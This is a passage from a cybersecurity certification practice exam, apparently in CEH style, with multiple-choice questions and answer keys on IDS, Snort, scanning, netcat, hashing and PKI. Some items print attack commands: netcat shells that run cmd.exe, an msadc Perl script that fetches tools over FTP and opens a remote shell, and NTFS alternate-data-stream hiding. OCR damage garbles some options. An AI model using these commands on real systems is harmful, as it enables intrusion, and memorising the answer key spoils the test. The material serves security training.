How can telnet be used to fingerprint a web server?

A. telnet webserverAddress 80
HEAD / HTTP/1.0
B. telnet webserverAddress 80
PUT / HTTP/1.0
C. telnet webserverAddress 80
HEAD / HTTP/2.0
D. telnet webserverAddress 80
PUT / HTTP/2.0
Answer: A
 471

On a Linux device, which of the following commands

will start the Nessus client in the background so that
the Nessus server can be configured?

A. nessus +
B. nessus *s
C. nessus &
D. nessus -d Answer: C
 472

What is it called when an IDS can discover attacks but

not stop them?

A. Detective
B. Passive
C. Intuitive
D. Reactive Answer: B
 473
A Security Engineer has been tasked with discovering how much
information can be obtained from the firm's public facing web servers.
The engineer decides to start by using netcat to port 80. The engineer
receives this output:

HTTP/1.1 200 OK
Server: Microsoft-IIS/6
Expires: Tue, 17 Jan 2011 01:41:33 GMT
DatE. Mon, 16 Jan 2011 01:41:33 GMT
Content-TypE. text/html
Accept-Ranges: bytes
Last-ModifieD. Wed, 28 Dec 2010 15:32:21 GMT

Which of the following is an example of what the engineer performed?

A. Cross-site scripting
B. Banner grabbing
C. SQL injection
D. Whois database query Answer: B
 474

What’s the best approach to tuning security alerts?

A. Raise false positives and raise false negatives.

B. Decrease false negatives.
C. Tune to avoid false positives and false negatives.
D. Decrease false positives. Answer: C
 475

Which type of scanning technique splits the TCP

header into many packets so that it becomes hard for
network monitoring devices to figure out what the
packets are meant for?

A. Ack flag scanning

B. IP fragment scanning
C. TCP scanning
D. Inverse TCP flag scanning Answer: B
 476

What’s it called when someone sends a large amount

of traffic, in order generate a large amount of alerts
on the IDS, in an attempt to hide the real traffic?

An Obfuscation Technique will encode the payload in such a way that the IDS can't understand
it, but the target can understand. A False Positive Generation Attack attempts to hide the attack
traffic in a large volume of false positive alerts.

A. Insertion attack
B. Denial-of-Service
C. Obfuscating
D. False Positive Generation Answer: D
 477

Which technical characteristic do Ethereal/Wireshark,

TCPDump, and Snort have in common?

A. They are written in Java.

B. They send alerts to security monitors.
C. They use the same packet analysis engine.
D. They use the same packet capture utility. Answer: D
 478

Which of the following does proper basic

configuration of snort as a network intrusion
detection system require?

A. Limit the packets captured to the /var/log/snort directory

B. Capture every packet on the network segment
C. Limit the packets captured to a single segment
D. Limit the packets captured to the snort configuration file
Answer: D
 479

When discussing trojans, what is a wrapper?

A. An encryption tool to protect the Trojan

B. A tool used to bind the Trojan with a legitimate file
C. A tool used to calculate bandwidth and CPU cycles wasted by the
Trojan
D. A tool used to encapsulate packets within a new header and footer
Answer: B
 480

What is the problem with low humidity in a data-

center?

A. Heat
B. Corrosion
C. Static electricity
D. Airborne contamination Answer: C
 481

The use of technologies like IPsec can help guarantee

the following: authenticity, integrity, confidentiality
and

IPSec offers many functions for security, including confirmation of the data’s origin (non-
repudiation/signing)

A. Operability
B. Security
C. Non-repudiation
D. Usability Answer: C
 482

Company a and Company B have just merged and

each has its own public key infrastructure (PKI). What
must the certificate authority establish so that the
private PKIs for company A and company B trust one
another and each private PKI can validate digital
certificates from the other company?
They must exchange certificates with each other so that they can validate any future certificates
issued by the other company’s CA.

A. Poly key reference

B. Cross certification
C. Cross exchange
D. poly key exchange Answer: B
 483

On a Windows 2008 server, how many bits does

Syskey use to encrypt password hashes?

A. 40-bit encryption
B. 128-bit encryption
C. 256-bit encryption
D. 64-bit encryption Answer: B
 484

Study the snort rule given below and interpret the

rule. When would an alert be generated?
alert tcp any any --> [Link]/24 111
(content:"|00 01 86 a5|"; msg "mountd access";)
A. When a TCP packet is generated from any IP on the [Link]
subnet and destined to any IP on port 111

B. When any packet other than a TCP packet is seen on the network
and destined for the [Link] subnet

C. When a TCP packet is originated from port 111 of any IP address to

the [Link] subnet

D. When a TCP packet originating from any IP address is seen on the

network and destined for any IP address on the [Link] subnet
on port 111 Answer: D
 485

What is the correct command to run Netcat on a

server using port 56 that spawns command shell
when connected?

A. nc -port 56 -s [Link]
B. nc -p 56 -p -e [Link]
C. nc -r 56 -c [Link]
D. nc -l 56 -t -e [Link] Answer: D
 486

A corporation hired an ethical hacker to test if it is

possible to obtain users' login credentials using
methods other than social engineering. Access to
offices and to a network node is granted. Results from
server scanning indicate all are adequately patched
and physical access is denied, thus, administrators
have access only through Remote Desktop. Which
technique could be used to obtain login credentials?
A. Capture every users' traffic with Ettercap.
B. Capture LANMAN Hashes and crack them with LC6.
C. Guess passwords using Medusa or Hydra against a network
service.
D. Capture administrators RDP traffic and decode it with Cain
and Abel. Answer: D
 487

What is the correct PCAP filter to capture all TCP

traffic going to or from host [Link] on port
25?

A. [Link] == 25 and [Link] == [Link]

B. host [Link]:25
C. port 25 and host [Link]
D. [Link] == 25 and [Link] == [Link] Answer: C
 488

What file system vulnerability does the following

command take advantage of?

type c:\[Link] >

c:\winnt\system32\[Link]:[Link]

A. HFS
B. Backdoor access
C. XFS
D. ADS Answer: D
 489

When an alert rule is matched in a network-based IDS

like snort, the IDS does which of the following?

A. Drops the packet and moves on to the next one

B. Continues to evaluate the packet until all rules are checked
C. Stops checking rules, sends an alert, and lets the packet
continue
D. Blocks the connection with the source IP address in the
packet Answer: B
 490

What is the main advantage that a network-based

IDS/IPS system has over a host-based solution?

A is out because your IDS is not necessarily at your boundary. Also, they can’t inspect “all” traffic
as there could be a threat within your company already and that traffic wouldn’t pass through
the boundary devices.

A. They are placed at the boundary, allowing them to inspect all

traffic
B. They are easier to install and configure
C. They do not use host system resources
D. They will not interfere with user interfaces Answer: C
 491

Which of the following identifies the three modes in

which Snort can be configured to run?

A. Sniffer, Packet Logger, and Network Intrusion Detection

System
B. Sniffer, Network Intrusion Detection System, and Host
Intrusion Detection System
C. Sniffer, Host Intrusion Prevention System, and Network
Intrusion Prevention System
D. Sniffer, Packet Logger, and Host Intrusion Prevention System
Answer: A
 492

Tom is writing signatures for a Snort node he placed

internally that captures all mirrored traffic from his
border firewall. From the following signature, what
will Snort look for in the payload of the suspected
packets?
alert tcp $EXTERNAL_NET any -> $HOME_NET 27374
(msG. "BACKDOOR SIG – SubSseven 22";flags: A+;
content: "|0d0a5b52504c5d3030320d0a|";
reference:arachnids, 485;) alert
A. The payload of 485 is what this Snort signature will look for.
B. Snort will look for 0d0a5b52504c5d3030320d0a in the payload.
C. Packets that contain the payload of BACKDOOR SIG - SubSseven 22
will be flagged.
D. From this snort signature, packets with HOME_NET 27374 in the
payload will be flagged. Answer: B
 493

Your IDS suddenly alerts you to multiple attacks

against several different company servers and devices.
In which order should you investigate?

A. Investigate based on the maintenance schedule of the affected

systems.
B. Investigate based on the service level agreements of the systems.
C. Investigate based on the potential effect of the incident.
D. Investigate based on the order that the alerts arrived in.
Answer: C
 494

The computer is able to transfer files locally to other

machines, but cannot successfully reach the Internet.
When the technician examines the IP address and
default gateway they are both on the [Link]/24.

Which of the following has occurred?

A. The Gateway and the computer are not on the same network
B. The computer is not using a private IP address
C. The computer is using an invalid IP address
D. The gateway is not routing to a public IP address
Answer: D
 495

What results will the following command yield:

‘NMAP –sS –O –p 123-153 [Link]?

A. A stealth scan, checking open ports 123 to 153

B. A stealth scan, checking all open ports excluding ports 123 to 153
C. A stealth scan, opening port 123 and 153
D. A stealth scan, determine operating system, and scanning ports
123 to 153
Answer: D
 496

Some passwords are stored using specialized

encryption algorithms known as hashes. Why is this
an appropriate method?

A. Hashing is faster compared to more traditional

encryption algorithms
B. It is impossible to crack hashed user passwords unless
the key used to encrypt them is obtained
C. Passwords stored using hashes are nonreversible,
making finding the password much more difficult
D. If a user forgets the password, it can be easily retrieved
using the hash key stored by administrators Answer: C
 497

A botnet can be managed through which of the

following?
IRC = Internet Relay Chat. This is a protocol that allows you to relay text messages via
discussion forums. IRC is often used as a means to control infected “bots” or “zombies”.

A. Email
B. LinkedIn and Facebook
C. A vulnerable FTP server
D. IRC Answer: D
 498

Fingerprinting VPN firewalls is possible with which of

the following tools?

[Link]

A. arp-scan
B. ike-scan
C. Nikto
D. Angry IP Answer: B
 499

What is the outcome of the command ”nc -l -p 3030 |

nc [Link] 5555"?

A. Netcat will listen on the [Link] interface for 5555 seconds on port
3030.

B. Netcat will listen on port 3030 and output anything received to a remote
connection on [Link] port 5555.

C. Netcat will listen for a connection from [Link] on port 5555 and
output anything received to port 3030.

D. Netcat will listen on port 3030 and then output anything received to local
interface [Link].
Answer: B
 500

What information should an IT system analysis

provide to the risk assessor?

A. Threat statement
B. Impact analysis
C. Security architecture
D. Management buy-in Answer: C
 501

Which security strategy requires using several, varying

methods to protect IT systems against attacks?

A. Three-way handshake
B. Exponential backoff algorithm
C. Covert channels
D. Defense in depth Answer: D
 502

Which of the following business challenges could be

solved by using a vulnerability scanner?

A. Auditors want to discover if all systems are following a

standard naming convention
B. There is an emergency need to remove administrator
access from multiple machines for an employee that quit
C. A Web server was compromised and management
needs to know if any further systems were compromised
D. There is a monthly requirement to test corporate
compliance with host application usage and security
policies Answer: D
 503

If an e-commerce site was put into a live environment

and the programmers failed to remove the secret
entry point that was used during the application
development, what is this secret entry point known
as?

A. SDLC process
B. Honeypot
C. SQL injection
D. Trapdoor Answer: D
 504

At midnight your firewall logs are at the expected size

of 4MB. Exactly 2 hours later the size has decreased
considerably. Another hour goes by and the log files
have shrunk in size again. Which of the following
actions should be taken?
A. Run an antivirus scan because it is likely the system is
infected by malware
B. Log the event as suspicious activity, continue to
investigate, and act according to the site's security policy
C. Log the event as suspicious activity, call a manager, and
report this as soon as possible
D. Log the event as suspicious activity and report this
behavior to the incident response team immediately
Answer: B
 505

Which of the following open source tools would be

the best choice to scan a network for potential
targets?

A. NIKTO
B. CAIN
C. John the Ripper
D. NMAP Answer: D
 506

Which tool can be used to silently copy files to USB

devices?

[Link]
silently/

A. USB dumper
B. USB sniffer
C. USB grabber
D. USB Snoopy Answer: C
 507

How can a policy help improve an employee's security

awareness?

A. By implanting written security procedures, enabling

employee’s security training, and promoting the benefits of
security
B. By using informal networks of communication, establishing
secret passing procedures, and immediately terminating
employees
C. By sharing security secrets with employees, enabling
employees to share secrets, and establishing a consultative
helpline
D. By decreasing an employee's vacation time, addressing ad
hoc employment clauses, and ensuring that managers no
employee strengths Answer: A
 508

In the software security development lifecycle

process, threat modeling occurs in which phase?

A. Design
B. Requirements
C. Verification
D. Implementation Answer: A
 509

Which statement is true regarding network firewalls

preventing Web application attacks?

A. Network firewalls can prevent attacks because they

can detect malicious HTTP traffic
B. Network firewalls can prevent attacks if they are
properly configured
C. Network firewalls cannot prevent attacks because
ports 80 and 443 must be open
D. Network firewalls cannot prevent attacks because
they are too complex to configure
Answer: C
 510

Which of the following is used to indicate a single line

comment in structured query language (SQL)?

A. --
B. %%
C. “
D. # Answer: A
 511

How does an operating system protect the passwords

used for account logins?

A. The operating system performs a one-way hash of the

passwords
B. The operating system encrypts the passwords, and
decrypts them when needed
C. The operating system stores all passwords in a
protected segment of nonvolatile memory
D. The operating system stores the passwords in a secret
file that users cannot find
Answer: A
 512

Which of the following network attacks relies on

sending an abnormally large packet size that exceeds
TCP/IP specifications?

A. Ping of death
B. Smurf attack
C. TCP hijacking
D. SYN flood Answer: A
 513

What statement is true regarding LM hashes?

A. LM hashes are not generated when the password length

exceeds 15 characters
B. Uppercase characters in the password are converted to
lowercase
C. LM hashes consist in 48 hexadecimal characters
D. LM hashes are based on AES 128 cryptographic standard
Answer: A
 514

After gaining access to the password hashes used to

protect access to a web-based application, knowledge
of which cryptographic algorithms would be useful to
gain access to the application ?

A. SHA1
B. AES
C. RSA
D. Diffie Hellman Answer: A
 515

Which of the following problems can be solved by

using Wireshark?

A. Tracking version changes of source code

B. Resetting the administer password on multiple systems
C. Troubleshooting communication resets between two
systems
D. Checking creation dates on all webpages on a server
Answer: C
 516

A newly discovered flaw in a software application

would be considered which kind of security
vulnerability?

A. Input validation flaw

B. HTTP header injection vulnerability
C. Time to check to time to use flaw
D. 0-day vulnerability Answer: D
 517

What is the command used to create a binary log file

using tcpdump?

A. tcpdump -w ./log
B. tcpdump -r log
C. tcpdump -vde logtcpdump -vde ? log
D. tcpdump -l /var/log/ Answer: A
 518

The use of alert thresholding in an IDS can reduce the

volume of repeated alerts, but introduces which of
the following vulnerabilities?
An alert threshold (in snort for example) says to only alert me when you see more than X
number of matches per time-period. For example, when you see more than 10 matching packets
per minute.

A. Thresholding interferes with the IDS's ability to

reassemble fragmented packets
B. An attacker, working slowly enough, can evade
detection by the IDS
C. Network packets are dropped if the volume exceeds
the threshold
D. The IDS will not distinguish among packets or
originating from different sources Answer: B
 519

Which of the following techniques does a

vulnerability scanner use in order to detect a
vulnerability on a target service?

A. Banner grabbing
B. Port scanning
C. Injecting arbitrary data
D. Analyzing service response Answer: D
 520

Which of the following defines the role of a root CA in

a public key infrastructure?

A. The root CA stores the users hash value for safekeeping

B. The CA is the trusted root that issues certificates
C. The root CA is the recovery agent used to encrypt data
when a user certificate is lost
D. The root CA is used to encrypt email messages to
prevent unintended disclosure of data
Answer: B
 521

The precaution of prohibiting employees from

bringing personal computer devices into a facility is
what type of security control?

A. Procedural
B. Compliance
C. Physical
D. Technical Answer: A
 522

You are attempting to map out the firewall policy for

an organization. You discover your target system is
one hop beyond the firewall. Using hping2 tool, you
send SYN packets with the exact TTL of the target
system starting at port 1 and going to port 1024.
What is this process called?

A. Footprinting
B. Firewalking
C. Enumeration
D. Idle Scanning Answer: B
 523

You want to hide a [Link] document inside

c:\windows\system32\[Link] kernel library using
ADS streams. How will you accomplish this?

A. copy [Link] c:\windows\system32\[Link] kernel>[Link]

B. copy [Link] c:\windows\system32\[Link]:[Link]
C. copy [Link] c:\windows\system32\[Link] |[Link]
D. copy [Link] >< c:\windows\system32\[Link] kernel [Link]
Answer: B
 524

Which of these has built-in functionality to decode

Cisco passwords contained in .pcf config files?

A. Cupp
B. Nessus
C. Cain and Abel
D. John The Ripper Pro Answer: C
 525

Which of these tools can automate SQL injections?

A. DataThief
B. NetCat
C. Cain and Abel
D. SQLInjector Answer: D
 526

Which tool can scan web servers for problems like

potentially dangerous files and vulnerable CGI’s?

Nikto is an Open Source (GPL) web server scanner

which performs comprehensive tests against web
servers for multiple items, including over 6400
potentially dangerous files/CGIs, checks for outdated
versions of over 1200 servers, and version specific
problems on over 270 servers.

A. Snort
B. Dsniff
C. Nikto
D. John the Ripper Answer: C
 527

Which port number is involved with file sharing on a

Windows computer?

A. 445
B. 3389
C. 1433
D. 161 Answer: A
 528

You are combing through event logs from your

firewall, IDS, and proxy server looking for a possible
security breach. When you correlate the data from
the logs, you find that the sequence of many of the
events don’t match up. What is the most likely reason
for this?

A. The network devices are not all synchronized

B. Proper chain of custody was not observed while collecting
the logs
C. The attacker altered or erased events from the logs
D. The security breach was a false positive Answer: C
 529

From your computer, which of these is the best way

to send traffic through the network undetected,
evading the IDS?

A. Use Alternate Data Streams to hide the outgoing

packets
B. Use HTTP so that all traffic can be routed via a
browser, thus evading the internal IDS
C. Install Cryptcat and encrypt outgoing packets
D. Install and use telnet to encrypt all outgoing traffic
Answer: C
 530

In which type of system would have a configuration

file containing a rule like this:

alert tcp any any -> [Link]/24 21 (msg: "FTP

on the network!";)

A. FTP Server rule

B. An Intrusion Detection System
C. A router IPTable
D. A firewall IPTable Answer: B
 531

Which command would launch the Computer

Management console on a Windows computer?

Try running [Link] from your command

prompt! (on a Windows machine, of course)

A. gpedit
B. [Link]
C. [Link]
D. [Link]
Answer: D
 532

Which Windows command lists all the shares you

have access to?

Again, try running this command from a Windows

machine! If nothing shows up, then you don’t have
access to any shares at the moment.

A. NET CONFIG
B. NET VIEW
C. NET USE
D. NET FILE Answer: B
 533

When you return to your desk after a lunch break, you

notice a strange email in your inbox. The sender is
someone you did business with recently, but the
subject line has strange characters in it.

What should you do?

A. Delete the email and pretend nothing happened

B. Reply to the sender and ask them for more
information about the message contents
C. Forward the message to your supervisor and ask for
his opinion on how to handle it
D. Forward the message to your security response team
and delete the message from your computer Answer: D
 534

You want to ensure your machines are compliant with

the security policy. Which type of tool would you
most likely use?

Both the port scanner and the vulnerability scanner will show you
which ports are open. The vuln scanner, however, will show you
much more, including which user accounts have weak or missing
passwords, which patches are missing, which machines have old or
outdated antivirus signatures, and a variety of other weaknesses.

A. Port scanner
B. Vulnerability scanner
C. Protocol analyzer
D. Intrusion Detection System Answer: B
 535

Which protocol is specifically designed to send event

messages?

A. SMS
B. Syslog
C. SNMP
D. ICMP Answer: B
 536

Which command-line utility lets you scan through text

files and finds the regular expressions you define? In
other words, which lets you do a “search” for “key-
words” in text files?

A. Notepad
B. Grep
C. MS Excel
D. Relational database Answer: B
 537

You have two machines. Snort is installed on

[Link]. The next machine is a Syslog server
with the IP [Link]. You do a syn scan on the
network, but the Syslog server isn’t getting the alert
message from snort. You run Wireshark to see if the
messages are being sent to the Syslog server. Which
Wireshark filter will show the messages from the
snort machine to the Syslog machine?

A. [Link]==514 && [Link]==[Link]

B. [Link]==514 && [Link]==192.168.150
C. [Link]==514 && [Link]==[Link]/16
D. [Link]==514 && [Link]==[Link] Answer: D
 538

A network administrator discovers several unknown files in the

root directory of his Linux FTP server. One of the files is a tarball,
two are shell script files, and the third is a binary file is named
"nc." The FTP server's access logs show that the anonymous
user account logged in to the server, uploaded the files, and
extracted the contents of the tarball and ran the script using a
function provided by the FTP server's software. The ps
command shows that the nc file is running as process, and the
netstat command shows the nc process is listening on a network
port.
What kind of vulnerability must be present to make this remote
attack possible?

A. Directory traversal
B. Brute force login
C. File system permissions
D. Privilege escalation Answer: D
 539

From your computer you try to ping a server on the

network. You know it’s up and running, but you don’t
get any response from your ping attempts. Why could
this be?

A. The ARP is disabled on the target server

B. ICMP could be disabled on the target server
C. TCP/IP doesn’t support ICMP
D. You need to run the ping command with root
privileges
Answer: B
 540

Which could help determine the attack surface of

your company?

A. Running a network scan to detect network services

in the corporate DMZ
B. Using configuration management to determine
when and where to apply security patches
C. Reviewing the need for a security clearance for
each employee
D. Training employees on the security policy
regarding social engineering
Answer: A
 541

Your IDS captured some traffic that is possibly

malicious. Which type of tool can help you determine
if it really was malicious, or if it was just a false
positive?

A. Vulnerability scanner
B. Network sniffer
C. Intrusion Prevention System
D. Protocol analyzer Answer: D
 542

After doing a pen-test, you need to restore systems to

a pre-test state. Which of these would NOT be
included in this end-step?

I. Removing all files uploaded on the system

II. Cleaning all registry entries
III. Mapping of network state
IV. Removing all tools and maintaining backdoor for
reporting

A. III
B. IV
C. III and IV
D. All should be included Answer: B
 543

During an audit of IT processes, you find that there

are no documented security procedures. What should
you do in this event?

A. Terminate the audit

B. Create a procedures document
C. Conduct compliance testing
D. Identify and evaluate existing practices Answer: D
 544

Which of the following is an extremely common IDS

evasion technique in the web world?

Unicode is an international encoding standard for use with different languages

and scripts, by which each letter, digit, or symbol is assigned a unique numeric
value that applies across different platforms and programs.

An IDS can be evaded by obfuscating or encoding the attack payload in a way

that the target computer will reverse but the IDS will not. An adversary using
the Unicode character could encode attack packets that an IDS would not
recognize but that an IIS web server would decode and become attacked.
A. Spyware
B. Port knocking
C. Unicode characters
D. Subnetting Answer: C
 545

Which tool could be used for passive operating-

system fingerprinting?

While nmap can certainly do OS fingerprinting, it is

considered active because you send traffic to the target.
Tcpdump, on the other hand, is a sniffer, and by observing
differences in the traffic you capture, you can determine the
OS that sent the traffic. Tcpdump is passive as it does not
send traffic to the target.

A. nmap
B. ping
C. tcpdump
D. tracert Answer: C
 546

Which type of tool would allow you to monitor all

network traffic for malicious behavior, and send you
an alert when it finds some?

A. Firewall
B. Proxy
C. Network-based IDS
D. Host-based IDS Answer: C
 547

A large and well-organized hacking group will discover

vulnerabilities but keep them quiet and hold on to
them for later use. If one of these groups was to
exploit and utilize several different vulnerabilities
against you at once, what would this be considered?

A Zero-Day attack exploits a previously unknown

vulnerability.

A. no-day
B. Zero-sum
C. Zero-day
D. Zero-hour Answer: C
 548

A covert channel is a channel that..

A. Transfers information over or within a computer

system or network that is outside of the security policy
B. Transfers information over or within a computer
system or network that is encrypted
C. Transfers information via a communication path within
a computer system or network for transfer of data
D. Transfers information over or within a computer
system or network that is within the security policy
Answer: A
 549

You’ve successfully gained root access to a remote

server. What is the first thing you should do so that
you continue to maintain access to this server?

A. Create a user account

B. Download and install Netcat
C. Disable IPTables
D. Disable Key Services Answer: A
 550

Which of these is a proxy tool that will let you

intercept, test, and analyze your own web traffic in
order to help you find vulnerabilities in web apps?

Burp Suite is a Java application that can be used to secure or

penetrate web applications. The suite consists of different tools,
such as a proxy server, a web spider, intruder and repeater.

A. Proxychains
B. Dimitry
C. Maskgen
D. Burpsuite Answer: D
 551
A tester has been using the [Link] attack script to execute arbitrary
commands on a Windows NT4 web server. While it is effective, the tester finds
it tedious to perform extended functions. On further research, the tester
comes across a perl script that runs the following msadc functions:
system("perl [Link] -h $host -c \"echo open $your >testfile\"");
system("perl [Link] -h $host -c \"echo $pass»testfile\"");
system("perl [Link] -h $host -c \"echo bin»testfile\"");
system("perl [Link] -h $host -c \"echo get [Link]»testfile\"");
system("perl [Link] -h $host -c \"echo get [Link]»testfile\"");
system("perl [Link] -h $host -c \"echo quit»testfile\"");
system("perl [Link] -h $host -c \"ftp \-s\: testfile\"");
$0=; print "Opening". \n";
system("perl [Link] -h $host -c \"nc -I -p $port -e [Link]\"");
Which exploit is indicated by this script?

A. A buffer overflow exploit

B. A chained exploit
C. A SQL injection exploit
D. A denial of service exploit Answer: B
 552

You implement a blacklist for known-malicious IP

addresses out on the internet. Immediately after this
you get an alert that one or your PC’s is connected to
one of these blacklisted IP’s that is a known C2
(command-and-control) server. You now need to get a
rough idea of how severe this situation is, so which of
these should you analyze?
The IDS only started logging these packets when you implemented the blacklist, so that won’t
be enough info. To find out things like which program/process is causing this traffic, when it was
installed, etc, you should look at the event logs on the PC itself.

A. The IDS log

B. Event logs on the Domain Controller (DC)
C. Internet Firewall/Proxy log
D. Event logs on the PC Answer: D
 553

You’re experiencing slow network traffic, so you’ve

decided to start monitoring all internet traffic. Legally
speaking, what could cause a problem here?

A. Not informing the employees that they are going to be

monitored could be an invasion of privacy.
B. The network could still experience traffic slowdowns.
C. You would be telling employees who the boss is.
D. All of the employees would stop normal work
activities. Answer: A
 554

Your company has many private IP’s and a range of

public IP’s. Mary in the IT department monitors
network traffic and finds that a large number of both
IP ranges are sending traffic to a single IP address on
the internet that is blacklisted. It turns out that these
company machines have been compromised. Which
type of attack is taking place here?

A. Advanced Persistent Threat

B. Rootkit attack
C. Botnet attack
D. Spear Phishing attack
Answer: C
 555

Which command will launch the Computer

Management console on a Widows machine?

If you’re not familiar with the Computer Management tool, try running the command in answer
B to get an idea of what features it offers you.

A. gpedit
B. [Link]
C. [Link]
D. [Link] Answer: B
 556

Which type of Intrusion Detection System should be

used to observe network segments in large
environments?

A. Host-based Intrusion Detection System (HIDS)

B. Firewall
C. Honeypot
D. Network-based Intrusion Detection System (NIDS)
Answer: D
 557

Your development team just created a new web

application for customers that needs three different
servers to operate: a web server, and application
server, and a database server. Where should you place
these servers?
Only the web server should be accessible from the internet. From there the server itself can
access the internal app & DB servers, but no direct contact should be allowed from internet
customers to the app & DB servers.

A. All 3 servers should be placed internally.

B. All three servers should face the internet so they can
communicate between themselves.
C. The web and database server facing the internet, and the
app server on the internal network.
D. The web server facing the internet, and the application and
database servers on the internal network.
Answer: D
 558

After gaining control to a user account, how can you

gain access to another user account’s confidential files
and data?

Once you gain access to a user account, a successful privilege escalation attack could allow you
to gain the rights of another user or admin.

A. Port scanning
B. Hacking Active Directory
C. Shoulder-surfing
D. Privilege Escalation Answer: D
 559

Which type of IDS would be best suited to meet these

requirements?
- Monitors system activities
- Verifies success or failure of an attack
- Detects attacks that a network based IDS fails to detect
- Near real time detection and response
- Does not require additional hardware
- Lower entry cost
A. Network based IDS
B. Open source based IDS
C. Host based IDS
D. Gateway based IDS Answer: C
 560

Frank from accounting sends you a an e-mail

threatening you if you don’t “keep your mouth shut”
over something you witnessed earlier. You report
Frank to HR but he denies having sent that e-mail.
What can you use to prove the e-mail did come from
Frank?

A. Confidentiality
B. Integrity
C. Authentication
D. Non-Repudiation Answer: D
 561

To help explain the difference between a signature-

based IDS and an Anomaly-based IDS, you could say
that the Anomaly-based IDS can..

A. Identify unknown attacks

B. Cannot deal with encrypted network traffic
C. Requires vendor updates for new threats
D. Produces less false positives Answer: A
 562

What’s the best defense against ransomware that

encrypts your files?

A. Pay the ransom

B. Analyze the ransomware to get the decryption key of
encrypted data
C. Keep some generation of off-line backup
D. Use multiple antivirus software programs Answer: C
 563

Review this log file and name the type of activity that
was logged:
Time: Oct 20 12:15:21 Port:20 Source: [Link] Destination: [Link] Protocol:TCP
Time: Oct 20 12:15:23 Port:21 Source: [Link] Destination: [Link] Protocol:TCP
Time: Oct 20 12:15:26 Port:22 Source: [Link] Destination: [Link] Protocol:TCP
Time: Oct 20 12:15:29 Port:23 Source: [Link] Destination: [Link] Protocol:TCP
Time: Oct 20 12:15:31 Port:25 Source: [Link] Destination: [Link] Protocol:TCP
Time: Oct 20 12:15:33 Port:53 Source: [Link] Destination: [Link] Protocol:TCP
Time: Oct 20 12:15:35 Port:80 Source: [Link] Destination: [Link] Protocol:TCP

A. Teardrop attack targeting [Link]

B. Denial-of-Service attack targeting [Link]
C. Port scan targeting [Link]
D. Port scan targeting [Link] Answer: D
 564

Which is a command-line based packet sniffer?

A. Nessus
B. Ethereal
C. TCPDump
D. Jack the Ripper
Answer: C
 565

In a Code Injection attack, the attacker..

A. gets the server to execute arbitrary code using a buffer

overflow
B. gains access to the codebase on the server and inserts new
code
C. inserts additional code into the javascript running in the
browser
D. inserts text into a data field that gets interpreted as code
Answer: D
 566

Which scanning technique splits the TCP header into

multiple packets in an attempt to make it harder for
packet filters to know the true purpose of the packet?

A. SYN/FIN scanning using IP fragments

B. IPID scanning
C. ACK flag probe scanning
D. ICMP Echo scanning Answer: A
 567

You visit a vendor’s site and they give you a tour of their
facility. To access their data center, they must type a
phrase using a keyboard. The system identifies individual
employees by the way they actually type on the
keyboard. After this, the user must also swipe their RFID
badge. To open the data center, both identifications are
required. What could you say about this method?

A. Biological motion cannot be used to identify people.

B. Although the approach has two phases, it actually
implements just one authentication factor.
C. The solution implements the two authentication
factors: physical object and physical characteristic.
D. The solution will have a high level of false positives
Answer: C
 568

Examine this log file entry and pick the true

statement:
June 15, 2017 2:15:45 PM [Link] – 59888 [Link] – 22 tcp_ip

A. Application is SSH and [Link] is the client and

[Link] is the server.
B. Application is SSH and [Link] is the server and
[Link] is the client.
C. Application is Telnet and [Link] is the client and
[Link] is the server.
D. SSH communications are encrypted and it’s impossible
to know who is the client or the server.
Answer: A
 569

You want to capture Facebook website traffic in

Wireshark. What display filter should you use that
shows all TCP packets that contain the word
'facebook'?

A. display==facebook
B. [Link]==facebook
C. tcp contains facebook
D. [Link] Answer: C
 570

Which tool could let you view wireless traffic going to

and from your WAP?

A. Nessus
B. Wireshark
C. Netcat
D. Netstat Answer: B
 571

Wireshark uses which format as the default view for

data in the currently selected packet?

A. ASCII
B. Binary
C. Decimal
D. Hexadecimal Answer: D
 572

Replace the * in this command by viewing the command

and the corresponding output:
Ping -* 7 [Link]
Pinging [Link] with 32 bytes of data:
Reply from [Link]: bytes=32 time<1ms TTL=64
Reply from [Link]: bytes=32 time<1ms TTL=64
Reply from [Link]: bytes=32 time<1ms TTL=64
Reply from [Link]: bytes=32 time<1ms TTL=64
Reply from [Link]: bytes=32 time<1ms TTL=64
Reply from [Link]: bytes=32 time<1ms TTL=64
Reply from [Link]: bytes=32 time<1ms TTL=64
Ping statistics for [Link]:
Packets: Sent = 7, Received = 7, Lost = 0 (0% loss)

A. t Ping –n 7 [Link] means to send 7 echo requests

to [Link]. In Windows, the default is to send 4
B. n requests, but with the –n (number) switch, you can
C. s specify exactly how many to send (in this case, 7
requests).
D. a Answer: B
 573

You get a security alert and you need to analyze a

public IP address listed in the alert. Which of these
would be the LEAST important information to review?

Whois will tell you who registered the domain. DNS could tell you the FQDN and other
important information about the IP address. Geolocation would tell you where the IP is located.
ARP is a mapping of IP address to MAC address, but this really wouldn’t be relevant to public IP’s
out on the internet, and wouldn’t give you any useful information here.

A. ARP
B. Whois
C. DNS
D. Geolocation Answer: A
 574

Which list of activities would give you the most

information about a system’s security posture?

A. Social engineering, company website browsing, tailgating

B. Phishing, spamming, sending trojans
C. Port scanning, banner grabbing, service identification
D. Wardriving warchalking, social engineering
Answer: C
 575

Which type of system could generate an alert when

any computer sends “many” packets based on the
typical number of packets sent by all your computers,
and using some defined threshold values?

A. A behavior-based IDS
B. A hybrid IDS
C. A signature-based IDS
D. Just a network monitoring tool Answer: A
 576

What’s the BEST reason to implement a DMZ on your

network?

A. To contain the network devices you want to protect

B. To provide a place to put the honeypot
C. To only provide direct access to nodes within the DMZ
and protect the network behind it
D. To scan all traffic coming through the DMZ to the
internal network Answer: C
 577

Which type of test is it where the tester has only

partial knowledge of the system he/she’s testing?

A. White-box
B. Grey-box
C. Black-box
D. Announced Answer: B
 578

You encrypt your data with your public key, then copy
the data to a commercial cloud-based storage
solution. Which of these scenarios would compromise
the privacy of your data?

A. A hacker compromises the cloud server and steals the

encrypted data.
B. The FBI forces you to give them your private key, however,
since they have no warrant, the cloud service provider
refuses to give the FBI access to the stored data.
C. You also store your private key on the cloud server, and an
attacker has gained access to the server.
D. None of these scenarios would compromise the privacy of
your data.
Answer: C
 579

All of these are PCI compliance recommendations

EXCEPT for which?

A. Use a firewall between the public network and the

payment card data.
B. Limit access to card holder data to as few employees
as possible.
C. Use encryption to protect all transmission of card
holder data over any public network.
D. Rotate employees handling credit card transactions on
a yearly basis to different departments. Answer: D
 580

Which keys are shared to enable the process of

encryption and decryption of data?

A. User passwords
B. Public and private keys
C. Public keys
D. Private keys Answer: C
 581

What’s it called when a company employs multiple

layers of security controls in order to improve its
security posture?

A. Security through obscurity

B. Defense in depth
